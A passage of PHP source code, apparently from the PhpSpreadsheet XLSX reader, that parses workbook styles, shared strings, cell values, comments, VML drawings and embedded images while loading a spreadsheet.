$xmlStyles->numFmts[0]; } if (isset($numFmts) && ($numFmts !== null)) { $numFmts->registerXPathNamespace('sml', $mainNS); } $this->styleReader->setNamespace($mainNS); if (!$this->readDataOnly/* && $xmlStyles*/) { foreach ($xfTags as $xfTag) { $xf = self::getAttributes($xfTag); $numFmt = null; if ($xf['numFmtId']) { if (isset($numFmts)) { $tmpNumFmt = self::getArrayItem($numFmts->xpath("sml:numFmt[@numFmtId=$xf[numFmtId]]")); if (isset($tmpNumFmt['formatCode'])) { $numFmt = (string) $tmpNumFmt['formatCode']; } } // We shouldn't override any of the built-in MS Excel values (values below id 164) // But there's a lot of naughty homebrew xlsx writers that do use "reserved" id values that aren't actually used // So we make allowance for them rather than lose formatting masks if ( $numFmt === null && (int) $xf['numFmtId'] < 164 && NumberFormat::builtInFormatCode((int) $xf['numFmtId']) !== '' ) { $numFmt = NumberFormat::builtInFormatCode((int) $xf['numFmtId']); } } $quotePrefix = (bool) (string) ($xf['quotePrefix'] ?? ''); $style = (object) [ 'numFmt' => $numFmt ?? NumberFormat::FORMAT_GENERAL, 'font' => $fonts[(int) ($xf['fontId'])], 'fill' => $fills[(int) ($xf['fillId'])], 'border' => $borders[(int) ($xf['borderId'])], 'alignment' => $xfTag->alignment, 'protection' => $xfTag->protection, 'quotePrefix' => $quotePrefix, ]; $styles[] = $style; // add style to cellXf collection $objStyle = new Style(); $this->styleReader->readStyle($objStyle, $style); if ($addingFirstCellXf) { $excel->removeCellXfByIndex(0); // remove the default style $addingFirstCellXf = false; } $excel->addCellXf($objStyle); } foreach ($cellXfTags as $xfTag) { $xf = self::getAttributes($xfTag); $numFmt = NumberFormat::FORMAT_GENERAL; if ($numFmts && $xf['numFmtId']) { $tmpNumFmt = self::getArrayItem($numFmts->xpath("sml:numFmt[@numFmtId=$xf[numFmtId]]")); if (isset($tmpNumFmt['formatCode'])) { $numFmt = (string) $tmpNumFmt['formatCode']; } elseif ((int) $xf['numFmtId'] < 165) { $numFmt = NumberFormat::builtInFormatCode((int) $xf['numFmtId']); } } $quotePrefix = (bool) (string) ($xf['quotePrefix'] ?? ''); $cellStyle = (object) [ 'numFmt' => $numFmt, 'font' => $fonts[(int) ($xf['fontId'])], 'fill' => $fills[((int) $xf['fillId'])], 'border' => $borders[(int) ($xf['borderId'])], 'alignment' => $xfTag->alignment, 'protection' => $xfTag->protection, 'quotePrefix' => $quotePrefix, ]; $cellStyles[] = $cellStyle; // add style to cellStyleXf collection $objStyle = new Style(); $this->styleReader->readStyle($objStyle, $cellStyle); if ($addingFirstCellStyleXf) { $excel->removeCellStyleXfByIndex(0); // remove the default style $addingFirstCellStyleXf = false; } $excel->addCellStyleXf($objStyle); } } $this->styleReader->setStyleXml($xmlStyles); $this->styleReader->setNamespace($mainNS); $this->styleReader->setStyleBaseData($theme, $styles, $cellStyles); $dxfs = $this->styleReader->dxfs($this->readDataOnly); $styles = $this->styleReader->styles(); // Read content after setting the styles $sharedStrings = []; $relType = "rel:Relationship[@Type='" //. Namespaces::SHARED_STRINGS . "$xmlNamespaceBase/sharedStrings" . "']"; $xpath = self::getArrayItem($relsWorkbook->xpath($relType)); if ($xpath) { $sharedStringsTarget = (string) $xpath['Target']; $sharedStringsTarget = str_starts_with($sharedStringsTarget, '/') ? substr($sharedStringsTarget, 1) : "$dir/$sharedStringsTarget"; $xmlStrings = $this->loadZip($sharedStringsTarget, $mainNS); if (isset($xmlStrings->si)) { foreach ($xmlStrings->si as $val) { if (isset($val->t)) { $sharedStrings[] = StringHelper::controlCharacterOOXML2PHP((string) $val->t); } elseif (isset($val->r)) { $sharedStrings[] = $this->parseRichText($val); } } } } $xmlWorkbook = $this->loadZipNoNamespace($relTarget, $mainNS); $xmlWorkbookNS = $this->loadZip($relTarget, $mainNS); // Set base date if ($xmlWorkbookNS->workbookPr) { Date::setExcelCalendar(Date::CALENDAR_WINDOWS_1900); $attrs1904 = self::getAttributes($xmlWorkbookNS->workbookPr); if (isset($attrs1904['date1904'])) { if (self::boolean((string) $attrs1904['date1904'])) { Date::setExcelCalendar(Date::CALENDAR_MAC_1904); } } } // Set protection $this->readProtection($excel, $xmlWorkbook); $sheetId = 0; // keep track of new sheet id in final workbook $oldSheetId = -1; // keep track of old sheet id in final workbook $countSkippedSheets = 0; // keep track of number of skipped sheets $mapSheetId = []; // mapping of sheet ids from old to new $charts = $chartDetails = []; if ($xmlWorkbookNS->sheets) { /** @var SimpleXMLElement $eleSheet */ foreach ($xmlWorkbookNS->sheets->sheet as $eleSheet) { $eleSheetAttr = self::getAttributes($eleSheet); ++$oldSheetId; // Check if sheet should be skipped if (is_array($this->loadSheetsOnly) && !in_array((string) $eleSheetAttr['name'], $this->loadSheetsOnly)) { ++$countSkippedSheets; $mapSheetId[$oldSheetId] = null; continue; } $sheetReferenceId = (string) self::getArrayItem(self::getAttributes($eleSheet, $xmlNamespaceBase), 'id'); if (isset($worksheets[$sheetReferenceId]) === false) { ++$countSkippedSheets; $mapSheetId[$oldSheetId] = null; continue; } // Map old sheet id in original workbook to new sheet id. // They will differ if loadSheetsOnly() is being used $mapSheetId[$oldSheetId] = $oldSheetId - $countSkippedSheets; // Load sheet $docSheet = $excel->createSheet(); // Use false for $updateFormulaCellReferences to prevent adjustment of worksheet // references in formula cells... during the load, all formulae should be correct, // and we're simply bringing the worksheet name in line with the formula, not the // reverse $docSheet->setTitle((string) $eleSheetAttr['name'], false, false); $fileWorksheet = (string) $worksheets[$sheetReferenceId]; // issue 3665 adds test for /. // This broke XlsxRootZipFilesTest, // but Excel reports an error with that file. // Testing dir for . avoids this problem. // It might be better just to drop the test. if ($fileWorksheet[0] == '/' && $dir !== '.') { $fileWorksheet = substr($fileWorksheet, strlen($dir) + 2); } $xmlSheet = $this->loadZipNoNamespace("$dir/$fileWorksheet", $mainNS); $xmlSheetNS = $this->loadZip("$dir/$fileWorksheet", $mainNS); // Shared Formula table is unique to each Worksheet, so we need to reset it here $this->sharedFormulae = []; if (isset($eleSheetAttr['state']) && (string) $eleSheetAttr['state'] != '') { $docSheet->setSheetState((string) $eleSheetAttr['state']); } if ($xmlSheetNS) { $xmlSheetMain = $xmlSheetNS->children($mainNS); // Setting Conditional Styles adjusts selected cells, so we need to execute this // before reading the sheet view data to get the actual selected cells if (!$this->readDataOnly && ($xmlSheet->conditionalFormatting)) { (new ConditionalStyles($docSheet, $xmlSheet, $dxfs, $this->styleReader))->load(); } if (!$this->readDataOnly && $xmlSheet->extLst) { (new ConditionalStyles($docSheet, $xmlSheet, $dxfs, $this->styleReader))->loadFromExt(); } if (isset($xmlSheetMain->sheetViews, $xmlSheetMain->sheetViews->sheetView)) { $sheetViews = new SheetViews($xmlSheetMain->sheetViews->sheetView, $docSheet); $sheetViews->load(); } $sheetViewOptions = new SheetViewOptions($docSheet, $xmlSheetNS); $sheetViewOptions->load($this->getReadDataOnly(), $this->styleReader); (new ColumnAndRowAttributes($docSheet, $xmlSheetNS)) ->load($this->getReadFilter(), $this->getReadDataOnly()); } $holdSelectedCells = $docSheet->getSelectedCells(); if ($xmlSheetNS && $xmlSheetNS->sheetData && $xmlSheetNS->sheetData->row) { $cIndex = 1; // Cell Start from 1 foreach ($xmlSheetNS->sheetData->row as $row) { $rowIndex = 1; foreach ($row->c as $c) { $cAttr = self::getAttributes($c); $r = (string) $cAttr['r']; if ($r == '') { $r = Coordinate::stringFromColumnIndex($rowIndex) . $cIndex; } $cellDataType = (string) $cAttr['t']; $originalCellDataTypeNumeric = $cellDataType === ''; $value = null; $calculatedValue = null; // Read cell? if ($this->getReadFilter() !== null) { $coordinates = Coordinate::coordinateFromString($r); if (!$this->getReadFilter()->readCell($coordinates[0], (int) $coordinates[1], $docSheet->getTitle())) { // Normally, just testing for the f attribute should identify this cell as containing a formula // that we need to read, even though it is outside of the filter range, in case it is a shared formula. // But in some cases, this attribute isn't set; so we need to delve a level deeper and look at // whether or not the cell has a child formula element that is shared. if (isset($cAttr->f) || (isset($c->f, $c->f->attributes()['t']) && strtolower((string) $c->f->attributes()['t']) === 'shared')) { $this->castToFormula($c, $r, $cellDataType, $value, $calculatedValue, 'castToError', false); } ++$rowIndex; continue; } } // Read cell! switch ($cellDataType) { case 's': if ((string) $c->v != '') { $value = $sharedStrings[(int) ($c->v)]; if ($value instanceof RichText) { $value = clone $value; } } else { $value = ''; } break; case 'b': if (!isset($c->f)) { if (isset($c->v)) { $value = self::castToBoolean($c); } else { $value = null; $cellDataType = DataType::TYPE_NULL; } } else { // Formula $this->castToFormula($c, $r, $cellDataType, $value, $calculatedValue, 'castToBoolean'); if (isset($c->f['t'])) { $att = $c->f; $docSheet->getCell($r)->setFormulaAttributes($att); } } break; case 'inlineStr': if (isset($c->f)) { $this->castToFormula($c, $r, $cellDataType, $value, $calculatedValue, 'castToError'); } else { $value = $this->parseRichText($c->is); } break; case 'e': if (!isset($c->f)) { $value = self::castToError($c); } else { // Formula $this->castToFormula($c, $r, $cellDataType, $value, $calculatedValue, 'castToError'); } break; default: if (!isset($c->f)) { $value = self::castToString($c); } else { // Formula $this->castToFormula($c, $r, $cellDataType, $value, $calculatedValue, 'castToString'); if (isset($c->f['t'])) { $attributes = $c->f['t']; $docSheet->getCell($r)->setFormulaAttributes(['t' => (string) $attributes]); } } break; } // read empty cells or the cells are not empty if ($this->readEmptyCells || ($value !== null && $value !== '')) { // Rich text? if ($value instanceof RichText && $this->readDataOnly) { $value = $value->getPlainText(); } $cell = $docSheet->getCell($r); // Assign value if ($cellDataType != '') { // it is possible, that datatype is numeric but with an empty string, which result in an error if ($cellDataType === DataType::TYPE_NUMERIC && ($value === '' || $value === null)) { $cellDataType = DataType::TYPE_NULL; } if ($cellDataType !== DataType::TYPE_NULL) { $cell->setValueExplicit($value, $cellDataType); } } else { $cell->setValue($value); } if ($calculatedValue !== null) { $cell->setCalculatedValue($calculatedValue, $originalCellDataTypeNumeric); } // Style information? if (!$this->readDataOnly) { $holdSelected = $docSheet->getSelectedCells(); $cAttrS = (int) ($cAttr['s'] ?? 0); // no style index means 0, it seems $cAttrS = isset($styles[$cAttrS]) ? $cAttrS : 0; $cell->setXfIndex($cAttrS); // issue 3495 if ($cellDataType === DataType::TYPE_FORMULA && $styles[$cAttrS]->quotePrefix === true) { $cell->getStyle()->setQuotePrefix(false); } $docSheet->setSelectedCells($holdSelected); } } ++$rowIndex; } ++$cIndex; } } $docSheet->setSelectedCells($holdSelectedCells); if ($xmlSheetNS && $xmlSheetNS->ignoredErrors) { foreach ($xmlSheetNS->ignoredErrors->ignoredError as $ignoredErrorx) { $ignoredError = self::testSimpleXml($ignoredErrorx); $this->processIgnoredErrors($ignoredError, $docSheet); } } if (!$this->readDataOnly && $xmlSheetNS && $xmlSheetNS->sheetProtection) { $protAttr = $xmlSheetNS->sheetProtection->attributes() ?? []; foreach ($protAttr as $key => $value) { $method = 'set' . ucfirst($key); $docSheet->getProtection()->$method(self::boolean((string) $value)); } } if ($xmlSheet) { $this->readSheetProtection($docSheet, $xmlSheet); } if ($this->readDataOnly === false) { $this->readAutoFilter($xmlSheetNS, $docSheet); $this->readBackgroundImage($xmlSheetNS, $docSheet, dirname("$dir/$fileWorksheet") . '/_rels/' . basename($fileWorksheet) . '.rels'); } $this->readTables($xmlSheetNS, $docSheet, $dir, $fileWorksheet, $zip, $mainNS); if ($xmlSheetNS && $xmlSheetNS->mergeCells && $xmlSheetNS->mergeCells->mergeCell && !$this->readDataOnly) { foreach ($xmlSheetNS->mergeCells->mergeCell as $mergeCellx) { $mergeCell = $mergeCellx->attributes(); $mergeRef = (string) ($mergeCell['ref'] ?? ''); if (str_contains($mergeRef, ':')) { $docSheet->mergeCells($mergeRef, Worksheet::MERGE_CELL_CONTENT_HIDE); } } } if ($xmlSheet && !$this->readDataOnly) { $unparsedLoadedData = (new PageSetup($docSheet, $xmlSheet))->load($unparsedLoadedData); } if ($xmlSheet !== false && isset($xmlSheet->extLst->ext)) { foreach ($xmlSheet->extLst->ext as $extlst) { $extAttrs = $extlst->attributes() ?? []; $extUri = (string) ($extAttrs['uri'] ?? ''); if ($extUri !== '{CCE6A557-97BC-4b89-ADB6-D9C93CAAB3DF}') { continue; } // Create dataValidations node if does not exists, maybe is better inside the foreach ? if (!$xmlSheet->dataValidations) { $xmlSheet->addChild('dataValidations'); } foreach ($extlst->children(Namespaces::DATA_VALIDATIONS1)->dataValidations->dataValidation as $item) { $item = self::testSimpleXml($item); $node = self::testSimpleXml($xmlSheet->dataValidations)->addChild('dataValidation'); foreach ($item->attributes() ?? [] as $attr) { $node->addAttribute($attr->getName(), $attr); } $node->addAttribute('sqref', $item->children(Namespaces::DATA_VALIDATIONS2)->sqref); if (isset($item->formula1)) { $childNode = $node->addChild('formula1'); if ($childNode !== null) { // null should never happen // see https://github.com/phpstan/phpstan/issues/8236 $childNode[0] = (string) $item->formula1->children(Namespaces::DATA_VALIDATIONS2)->f; // @phpstan-ignore-line } } } } } if ($xmlSheet && $xmlSheet->dataValidations && !$this->readDataOnly) { (new DataValidations($docSheet, $xmlSheet))->load(); } // unparsed sheet AlternateContent if ($xmlSheet && !$this->readDataOnly) { $mc = $xmlSheet->children(Namespaces::COMPATIBILITY); if ($mc->AlternateContent) { foreach ($mc->AlternateContent as $alternateContent) { $alternateContent = self::testSimpleXml($alternateContent); $unparsedLoadedData['sheets'][$docSheet->getCodeName()]['AlternateContents'][] = $alternateContent->asXML(); } } } // Add hyperlinks if (!$this->readDataOnly) { $hyperlinkReader = new Hyperlinks($docSheet); // Locate hyperlink relations $relationsFileName = dirname("$dir/$fileWorksheet") . '/_rels/' . basename($fileWorksheet) . '.rels'; if ($zip->locateName($relationsFileName) !== false) { $relsWorksheet = $this->loadZip($relationsFileName, Namespaces::RELATIONSHIPS); $hyperlinkReader->readHyperlinks($relsWorksheet); } // Loop through hyperlinks if ($xmlSheetNS && $xmlSheetNS->children($mainNS)->hyperlinks) { $hyperlinkReader->setHyperlinks($xmlSheetNS->children($mainNS)->hyperlinks); } } // Add comments $comments = []; $vmlComments = []; if (!$this->readDataOnly) { // Locate comment relations $commentRelations = dirname("$dir/$fileWorksheet") . '/_rels/' . basename($fileWorksheet) . '.rels'; if ($zip->locateName($commentRelations) !== false) { $relsWorksheet = $this->loadZip($commentRelations, Namespaces::RELATIONSHIPS); foreach ($relsWorksheet->Relationship as $elex) { $ele = self::getAttributes($elex); if ($ele['Type'] == Namespaces::COMMENTS) { $comments[(string) $ele['Id']] = (string) $ele['Target']; } if ($ele['Type'] == Namespaces::VML) { $vmlComments[(string) $ele['Id']] = (string) $ele['Target']; } } } // Loop through comments foreach ($comments as $relName => $relPath) { // Load comments file $relPath = File::realpath(dirname("$dir/$fileWorksheet") . '/' . $relPath); // okay to ignore namespace - using xpath $commentsFile = $this->loadZip($relPath, ''); // Utility variables $authors = []; $commentsFile->registerXpathNamespace('com', $mainNS); $authorPath = self::xpathNoFalse($commentsFile, 'com:authors/com:author'); foreach ($authorPath as $author) { $authors[] = (string) $author; } // Loop through contents $contentPath = self::xpathNoFalse($commentsFile, 'com:commentList/com:comment'); foreach ($contentPath as $comment) { $commentx = $comment->attributes(); $commentModel = $docSheet->getComment((string) $commentx['ref']); if (isset($commentx['authorId'])) { $commentModel->setAuthor($authors[(int) $commentx['authorId']]); } $commentModel->setText($this->parseRichText($comment->children($mainNS)->text)); } } // later we will remove from it real vmlComments $unparsedVmlDrawings = $vmlComments; $vmlDrawingContents = []; // Loop through VML comments foreach ($vmlComments as $relName => $relPath) { // Load VML comments file $relPath = File::realpath(dirname("$dir/$fileWorksheet") . '/' . $relPath); try { // no namespace okay - processed with Xpath $vmlCommentsFile = $this->loadZip($relPath, '', true); $vmlCommentsFile->registerXPathNamespace('v', Namespaces::URN_VML); } catch (Throwable) { //Ignore unparsable vmlDrawings. Later they will be moved from $unparsedVmlDrawings to $unparsedLoadedData continue; } // Locate VML drawings image relations $drowingImages = []; $VMLDrawingsRelations = dirname($relPath) . '/_rels/' . basename($relPath) . '.rels'; $vmlDrawingContents[$relName] = $this->getSecurityScannerOrThrow()->scan($this->getFromZipArchive($zip, $relPath)); if ($zip->locateName($VMLDrawingsRelations) !== false) { $relsVMLDrawing = $this->loadZip($VMLDrawingsRelations, Namespaces::RELATIONSHIPS); foreach ($relsVMLDrawing->Relationship as $elex) { $ele = self::getAttributes($elex); if ($ele['Type'] == Namespaces::IMAGE) { $drowingImages[(string) $ele['Id']] = (string) $ele['Target']; } } } $shapes = self::xpathNoFalse($vmlCommentsFile, '//v:shape'); foreach ($shapes as $shape) { $shape->registerXPathNamespace('v', Namespaces::URN_VML); if (isset($shape['style'])) { $style = (string) $shape['style']; $fillColor = strtoupper(substr((string) $shape['fillcolor'], 1)); $column = null; $row = null; $textHAlign = null; $fillImageRelId = null; $fillImageTitle = ''; $clientData = $shape->xpath('.//x:ClientData'); if (is_array($clientData) && !empty($clientData)) { $clientData = $clientData[0]; if (isset($clientData['ObjectType']) && (string) $clientData['ObjectType'] == 'Note') { $temp = $clientData->xpath('.//x:Row'); if (is_array($temp)) { $row = $temp[0]; } $temp = $clientData->xpath('.//x:Column'); if (is_array($temp)) { $column = $temp[0]; } $temp = $clientData->xpath('.//x:TextHAlign'); if (!empty($temp)) { $textHAlign = $temp[0]; } } } $rowx = (string) $row; $colx = (string) $column; if (is_numeric($rowx) && is_numeric($colx) && $textHAlign !== null) { $docSheet->getComment([1 + (int) $colx, 1 + (int) $rowx], false)->setAlignment((string) $textHAlign); } $fillImageRelNode = $shape->xpath('.//v:fill/@o:relid'); if (is_array($fillImageRelNode) && !empty($fillImageRelNode)) { $fillImageRelNode = $fillImageRelNode[0]; if (isset($fillImageRelNode['relid'])) { $fillImageRelId = (string) $fillImageRelNode['relid']; } } $fillImageTitleNode = $shape->xpath('.//v:fill/@o:title'); if (is_array($fillImageTitleNode) && !empty($fillImageTitleNode)) { $fillImageTitleNode = $fillImageTitleNode[0]; if (isset($fillImageTitleNode['title'])) { $fillImageTitle = (string) $fillImageTitleNode['title']; } } if (($column !== null) && ($row !== null)) { // Set comment properties $comment = $docSheet->getComment([$column + 1, $row + 1]); $comment->getFillColor()->setRGB($fillColor); if (isset($drowingImages[$fillImageRelId])) { $objDrawing = new \PhpOffice\PhpSpreadsheet\Worksheet\Drawing(); $objDrawing->setName($fillImageTitle); $imagePath = str_replace(['../', '/xl/'], 'xl/', $drowingImages[$fillImageRelId]); $objDrawing->setPath( 'zip://' . File::realpath($filename) . '#' . $imagePath, true, $zip ); $comment->setBackgroundImage($objDrawing); } // Parse style $styleArray = explode(';', str_replace(' ', '', $style)); foreach ($styleArray as $stylePair) { $stylePair = explode(':', $stylePair); if ($stylePair[0] == 'margin-left') { $comment->setMarginLeft($stylePair[1]); } if ($stylePair[0] == 'margin-top') { $comment->setMarginTop($stylePair[1]); } if ($stylePair[0] == 'width') { $comment->setWidth($stylePair[1]); } if ($stylePair[0] == 'height') { $comment->setHeight($stylePair[1]); } if ($stylePair[0] == 'visibility') { $comment->setVisible($stylePair[1] == 'visible'); } } unset($unparsedVmlDrawings[$relName]); } } } } // unparsed vmlDrawing if ($unparsedVmlDrawings) { foreach ($unparsedVmlDrawings as $rId => $relPath) { $rId = substr($rId, 3); // rIdXXX $unparsedVmlDrawing = &$unparsedLoadedData['sheets'][$docSheet->getCodeName()]['vmlDrawings']; $unparsedVmlDrawing[$rId] = []; $unparsedVmlDrawing[$rId]['filePath'] = self::dirAdd("$dir/$fileWorksheet", $relPath); $unparsedVmlDrawing[$rId]['relFilePath'] = $relPath; $unparsedVmlDrawing[$rId]['content'] = $this->getSecurityScannerOrThrow()->scan($this->getFromZipArchive($zip, $unparsedVmlDrawing[$rId]['filePath'])); unset($unparsedVmlDrawing); } } // Header/footer images if ($xmlSheetNS && $xmlSheetNS->legacyDrawingHF) { $vmlHfRid = ''; $vmlHfRidAttr = $xmlSheetNS->legacyDrawingHF->attributes(Namespaces::SCHEMA_OFFICE_DOCUMENT); if ($vmlHfRidAttr !== null && isset($vmlHfRidAttr['id'])) { $vmlHfRid = (string) $vmlHfRidAttr['id'][0]; } if ($zip->locateName(dirname("$dir/$fileWorksheet") . '/_rels/' . basename($fileWorksheet) . '.rels') !== false) { $relsWorksheet = $this->loadZipNoNamespace(dirname("$dir/$fileWorksheet") . '/_rels/' . basename($fileWorksheet) . '.rels', Namespaces::RELATIONSHIPS); $vmlRelationship = ''; foreach ($relsWorksheet->Relationship as $ele) { if ((string) $ele['Type'] == Namespaces::VML && (string) $ele['Id'] === $vmlHfRid) { $vmlRelationship = self::dirAdd("$dir/$fileWorksheet", $ele['Target']); break; } } if ($vmlRelationship != '') { // Fetch linked images $relsVML = $this->loadZipNoNamespace(dirname($vmlRelationship) . '/_rels/' . basename($vmlRelationship) . '.rels', Namespaces::RELATIONSHIPS); $drawings = []; if (isset($relsVML->Relationship)) { foreach ($relsVML->Relationship as $ele) { if ($ele['Type'] == Namespaces::IMAGE) { $drawings[(string) $ele['Id']] = self::dirAdd($vmlRelationship, $ele['Target']); } } } // Fetch VML document $vmlDrawing = $this->loadZipNoNamespace($vmlRelationship, ''); $vmlDrawing->registerXPathNamespace('v', Namespaces::URN_VML); $hfImages = []; $shapes = self::xpathNoFalse($vmlDrawing, '//v:shape'); foreach ($shapes as $idx => $shape) { $shape->registerXPathNamespace('v', Namespaces::URN_VML); $imageData = $shape->xpath('//v:imagedata'); if (empty($imageData)) { continue; } $imageData = $imageData[$idx]; $imageData = self::getAttributes($imageData, Namespaces::URN_MSOFFICE); $style = self::toCSSArray((string) $shape['style']); if (array_key_exists((string) $imageData['relid'], $drawings)) { $shapeId = (string) $shape['id']; $hfImages[$shapeId] = new HeaderFooterDrawing(); if (isset($imageData['title'])) { $hfImages[$shapeId]->setName((string) $imageData['title']); } $hfImages[$shapeId]->setPath('zip://' . File::realpath($filename) . '#' . $drawings[(string) $imageData['relid']], false); $hfImages[$shapeId]->setResizeProportional(false); $hfImages[$shapeId]->setWidth($style['width']); $hfImages[$shapeId]->setHeight($style['height']); if (isset($style['margin-left'])) { $hfImages[$shapeId]->setOffsetX($style['margin-left']); } $hfImages[$shapeId]->setOffsetY($style['margin-top']); $hfImages[$shapeId]->setResizeProportional(true); } } $docSheet->getHeaderFooter()->setImages($hfImages); } } } } // TODO: Autoshapes from twoCellAnchors! $drawingFilename = dirname("$dir/$fileWorksheet") . '/_rels/' . basename($fileWorksheet) . '.rels'; if (str_starts_with($drawingFilename, 'xl//xl/')) { $drawingFilename = substr($drawingFilename, 4); } if (str_starts_with($drawingFilename, '/xl//xl/')) { $drawingFilename = substr($drawingFilename, 5); } if ($zip->locateName($drawingFilename) !== false) { $relsWorksheet = $this->loadZip($drawingFilename, Namespaces::RELATIONSHIPS); $drawings = []; foreach ($relsWorksheet->Relationship as $elex) { $ele = self::getAttributes($elex); if ((string) $ele['Type'] === "$xmlNamespaceBase/drawing") { $eleTarget = (string) $ele['Target']; if (str_starts_with($eleTarget, '/xl/')) { $drawings[(string) $ele['Id']] = substr($eleTarget, 1); } else { $drawings[(string) $ele['Id']] = self::dirAdd("$dir/$fileWorksheet", $ele['Target']); } } } if ($xmlSheetNS->drawing && !$this->readDataOnly) { $unparsedDrawings = []; $fileDrawing = null; foreach ($xmlSheetNS->drawing as $drawing) { $drawingRelId = (string) self::getArrayItem(self::getAttributes($drawing, $xmlNamespaceBase), 'id'); $fileDrawing = $drawings[$drawingRelId]; $drawingFilename = dirname($fileDrawing) . '/_rels/' . basename($fileDrawing) . '.rels'; $relsDrawing = $this->loadZip($drawingFilename, Namespaces::RELATIONSHIPS); $images = []; $hyperlinks = []; if ($relsDrawing && $relsDrawing->Relationship) { foreach ($relsDrawing->Relationship as $elex) { $ele = self::getAttributes($elex); $eleType = (string) $ele['Type']; if ($eleType === Namespaces::HYPERLINK) { $hyperlinks[(string) $ele['Id']] = (string) $ele['Target']; } if ($eleType === "$xmlNamespaceBase/image") { $eleTarget = (string) $ele['Target']; if (str_starts_with($eleTarget, '/xl/')) { $eleTarget = substr($eleTarget, 1); $images[(string) $ele['Id']] = $eleTarget; } else { $images[(string) $ele['Id']] = self::dirAdd($fileDrawing, $eleTarget); } } elseif ($eleType === "$xmlNamespaceBase/chart") { if ($this->includeCharts) { $eleTarget = (string) $ele['Target']; if (str_starts_with($eleTarget, '/xl/')) { $index = substr($eleTarget, 1); } else { $index = self::dirAdd($fileDrawing, $eleTarget); } $charts[$index] = [ 'id' => (string) $ele['Id'], 'sheet' => $docSheet->getTitle(), ]; } } } } $xmlDrawing = $this->loadZipNoNamespace($fileDrawing, ''); $xmlDrawingChildren = $xmlDrawing->children(Namespaces::SPREADSHEET_DRAWING); if ($xmlDrawingChildren->oneCellAnchor) { foreach ($xmlDrawingChildren->oneCellAnchor as $oneCellAnchor) { $oneCellAnchor = self::testSimpleXml($oneCellAnchor); if ($oneCellAnchor->pic->blipFill) { /** @var SimpleXMLElement $blip */ $blip = $oneCellAnchor->pic->blipFill->children(Namespaces::DRAWINGML)->blip; /** @var SimpleXMLElement $xfrm */ $xfrm = $oneCellAnchor->pic->spPr->children(Namespaces::DRAWINGML)->xfrm; /** @var SimpleXMLElement $outerShdw */ $outerShdw = $oneCellAnchor->pic->spPr->children(Namespaces::DRAWINGML)->effectLst->outerShdw; $objDrawing = new \PhpOffice\PhpSpreadsheet\Worksheet\Drawing(); $objDrawing->setName((string) self::getArrayItem(self::getAttributes($oneCellAnchor->pic->nvPicPr->cNvPr), 'name')); $objDrawing->setDescription((string) self::getArrayItem(self::getAttributes($oneCellAnchor->pic->nvPicPr->cNvPr), 'descr')); $embedImageKey = (string) self::getArrayItem( self::getAttributes($blip, $xmlNamespaceBase), 'embed' ); if (isset($images[$embedImageKey])) { $objDrawing->setPath( 'zip://' . File::realpath($filename) . '#' . $images[$embedImageKey], false ); } else { $linkImageKey = (string) self::getArrayItem( $blip->attributes('http://schemas.openxmlformats.org/officeDocument/2006/relationships'), 'link' ); if (isset($images[$linkImageKey])) { $url = str_replace('xl/drawings/', '', $images[$linkImageKey]); $objDrawing->setPath($url); } } $objDrawing->setCoordinates(Coordinate::stringFromColumnIndex(((int) $oneCellAnchor->from->col) + 1) . ($oneCellAnchor->from->row + 1)); $objDrawing->setOffsetX((int) Drawing::EMUToPixels($oneCellAnchor->from->colOff)); $objDrawing->setOffsetY(Drawing::EMUToPixels($oneCellAnchor->from->rowOff)); $objDrawing->setResizeProportional(false); $objDrawing->setWidth(Drawing::EMUToPixels(self::getArrayItem(self::getAttributes($oneCellAnchor->ext), 'cx'))); $objDrawing->setHeight(Drawing::EMUToPixels(self::getArrayItem(self::getAttributes($oneCellAnchor->ext), 'cy'))); if ($xfrm) { $objDrawing->setRotation((int) Drawing::angleToDegrees(self::getArrayItem(self::getAttributes($xfrm), 'rot'))); $objDrawing->setFlipVertical((bool) self::getArrayItem(self::getAttributes($xfrm), 'flipV')); $objDrawing->setFlipHorizontal((bool) self::getArrayItem(self::getAttributes($xfrm), 'flipH')); } if ($outerShdw) { $shadow = $objDrawing->getShadow(); $shadow->setVisible(true); $shadow->setBlurRadius(Drawing::EMUToPixels(self::getArrayItem(self::getAttributes($outerShdw), 'blurRad'))); $shadow->setDistance(Drawing::EMUToPixels(self::getArrayItem(self::getAttributes($outerShdw), 'dist'))); $shadow->setDirection(Drawing::angleToDegrees(self::getArrayItem(self::getAttributes($outerShdw), 'dir'))); $shadow->setAlignment((string) self::getArrayItem(self::getAttributes($outerShdw), 'algn')); $clr = $outerShdw->srgbClr ?? $outerShdw->prstClr; $shadow->getColor()->setRGB(self::getArrayItem(self::getAttributes($clr), 'val')); $shadow->setAlpha(self::getArrayItem(self::getAttributes($clr->alpha), 'val') / 1000); } $this->readHyperLinkDrawing($objDrawing, $oneCellAnchor, $hyperlinks); $objDrawing->setWorksheet($docSheet); } elseif ($this->includeCharts && $oneCellAnchor->graphicFrame) { // Exported XLSX from Google Sheets positions charts with a oneCellAnchor $coordinates = Coordinate::stringFromColumnIndex(((int) $oneCellAnchor->from->col) + 1) . ($oneCellAnchor->from->row + 1); $offsetX = Drawing::EMUToPixels($oneCellAnchor->from->colOff); $offsetY = Drawing::EMUToPixels($oneCellAnchor->from->rowOff); $width = Drawing::EMUToPixels(self::getArrayItem(self::getAttributes($oneCellAnchor->ext), 'cx')); $height = Drawing::EMUToPixels(self::getArrayItem(self::getAttributes($oneCellAnchor->ext), 'cy')); $graphic = $oneCellAnchor->graphicFrame->children(Namespaces::DRAWINGML)->graphic; /** @var SimpleXMLElement $chartRef */ $chartRef = $graphic->graphicData->children(Namespaces::CHART)->chart; $thisChart = (string) self::getAttributes($chartRef, $xmlNamespaceBase); $chartDetails[$docSheet->getTitle() . '!' . $thisChart] = [ 'fromCoordinate' => $coordinates, 'fromOffsetX' => $offsetX, 'fromOffsetY' => $offsetY, 'width' => $width, 'height' => $height, 'worksheetTitle' => $docSheet->getTitle(), 'oneCellAnchor' => true, ]; } } } if ($xmlDrawingChildren->twoCellAnchor) { foreach ($xmlDrawingChildren->twoCellAnchor as $twoCellAnchor) { $twoCellAnchor = self::testSimpleXml($twoCellAnchor); if ($twoCellAnchor->pic->blipFill) { $objDrawing = new \PhpOffice\PhpSpreadsheet\Worksheet\Drawing(); $blip = $twoCellAnchor->pic->blipFill->children(Namespaces::DRAWINGML)->blip; if (isset($twoCellAnchor->pic->blipFill->children(Namespaces::DRAWINGML)->srcRect)) { $objDrawing->setSrcRect($twoCellAnchor->pic->blipFill->children(Namespaces::DRAWINGML)->srcRect->attributes()); } $xfrm = $twoCellAnchor->pic->spPr->children(Namespaces::DRAWINGML)->xfrm; $outerShdw = 